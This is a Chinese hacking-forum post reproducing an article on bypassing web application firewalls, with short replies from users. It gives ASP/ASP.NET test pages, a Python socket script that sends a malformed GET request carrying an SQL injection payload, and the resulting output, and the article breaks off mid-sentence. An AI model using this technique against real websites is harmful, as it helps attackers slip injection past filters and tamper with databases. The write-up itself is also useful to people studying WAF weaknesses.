加QQ81758415
快捷导航

[渗透测试] waf绕过数值方法

[复制链接]
查看: 1683|回复: 5

3万

主题

0

帖子

232

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
232
发表于 2019-5-21 23:46:52 | 显示全部楼层 |阅读模式
最近帮习科一会员绕过某网站过滤select关键字的时候,使用了此方法,虽然此方法公布已久,但是依然十分强大。感谢80sec大牛


0x00 前言
08年初诞生了一种SQL群注攻击,黑客在全球范围内对asp,asp.net加MSSQL架构的网站进行了疯狂扫荡。由于MSSQL支持多语句注入,黑客通过一条结合游标的SQL语句就能将整个数据库的字段内容自动进行篡改,可以在网站上无差别的进行网页木马攻击。


互联网是快速更新迭代的,但是很多没有开发能力的单位都是通过外包建立网站,网站的程序一上线就再也无人维护,很多程序存在各种漏洞无法修补,于是WAF便有了市场,现今门槛低且最能解决问题的是针对IIS/apache的软件WAF,通常一个模块一个扩展就能搞定,当然也有耗资百万千万的硬件WAF,然而如果WAF拦截规则出现漏洞,这百万千万的硬件也就是一堆废铁。那么WAF是否真的可以解决所有的WEB安全问题呢?所以本文主要解析一些可以绕过WAF的罕见漏洞,供安全人员参考。


WAF


0x01 Request对象的包解析漏洞.
asp和asp.net的Request对象存在一个包解析漏洞,Request对象对于GET和POST包的解析过于宽松,用一句话表达就是Request对象它GET和POST傻傻分不清楚,稍有点web开发经验的同学应该知道Request接收GET,POST,COOKIE也就是GPC传过来的数据,但是asp和.net库内置的Request对象完全不按RFC标准来,下面我们可以做个测试:


分别将下面两段代码保存为1.asp和1.aspx


使用asp的Request对象接收t参数传值


1
<%
2
Response.Write "Request:" & Request("t")
3
%>
使用asp.net的Request对象接收t参数传值


1
<%@ Page Language="C#" %>
2
<%
3
string test = Request["t"];
4
Response.Write("Request:"+test);
5
%>
使用下面的python脚本调用socket发送原始的HTTP包


01
#!/usr/bin/env python
02

03
import socket
04

05
host = '192.168.239.129'
06
path = '/1.asp'
07
port = 80
08

09
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10
s.connect((host, port))
11
s.settimeout(8)
12

13
exploit_packet="t='/**/or/**/1=1–"
14
exploit_packet+="\r\n" * 8
15
packet_length = len(exploit_packet)
16
packet='GET' + path + ' HTTP/1.1\r\n'
17
packet+='Host:' + host + '\r\n'
18
packet+='Content-Length: %s\r\n' % packet_length
19
packet+='Content-Type: application/x-www-form-urlencoded\r\n'
20
packet+='\r\n'
21
packet = packet + exploit_packet
22

23
print packet
24
s.send(packet)
25
buf = s.recv(1000)
26
if buf: print buf[buf.rfind("\r\n"):]
27
s.close()



我们发送的原始包是:


1
GET /1.asp HTTP/1.1
2
Host: 192.168.239.129
3
Content-Length: 34
4
Content-Type: application/x-www-form-urlencoded
5

6
t='/**/or/**/1=1–
结果返回如下:


Request:'/**/or/**/1=1–


将python测试脚本的path改为/1.aspx测试页返回同样结果。


我们可以看到这是一个畸形的HTTP GET请求包,这个包的奥秘在于Content-Type和Content-Length头,包的结构类似于一个POST包,而请求的方法是GET,最后asp和asp.net的Request对象成功的解析了这个畸形包取出了数据。


所以如果WAF没有处理好HTTP包的内容,沿用常规思路处

回复

使用道具 举报

0

主题

6

帖子

12

积分

新手上路

Rank: 1

积分
12
发表于 2019-5-21 23:49:26 | 显示全部楼层
{subject}支持
回复

使用道具 举报

0

主题

7

帖子

14

积分

新手上路

Rank: 1

积分
14
发表于 2019-5-22 05:17:05 | 显示全部楼层
{expression}
回复

使用道具 举报

0

主题

8

帖子

16

积分

新手上路

Rank: 1

积分
16
发表于 2019-5-22 06:57:37 | 显示全部楼层
我会经常关注你们网站的
回复

使用道具 举报

0

主题

13

帖子

26

积分

新手上路

Rank: 1

积分
26
发表于 2019-5-22 08:25:28 | 显示全部楼层
被电了呜呜支持黑客啦论坛!
回复

使用道具 举报

0

主题

5

帖子

10

积分

新手上路

Rank: 1

积分
10
发表于 2019-5-22 08:33:27 | 显示全部楼层
我会经常关注你们网站的
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

精彩推荐

让创业更简单

  • 反馈建议:hackhl@outlook.com
  • 客服电话:暂时没有
  • 工作时间:周一到周五9点~22点

云服务支持

黑客联盟,快速搜索

关注我们

Copyright 黑客联盟安全防护网  Powered by©  技术支持:    ( 闽ICP备18000419号-1 )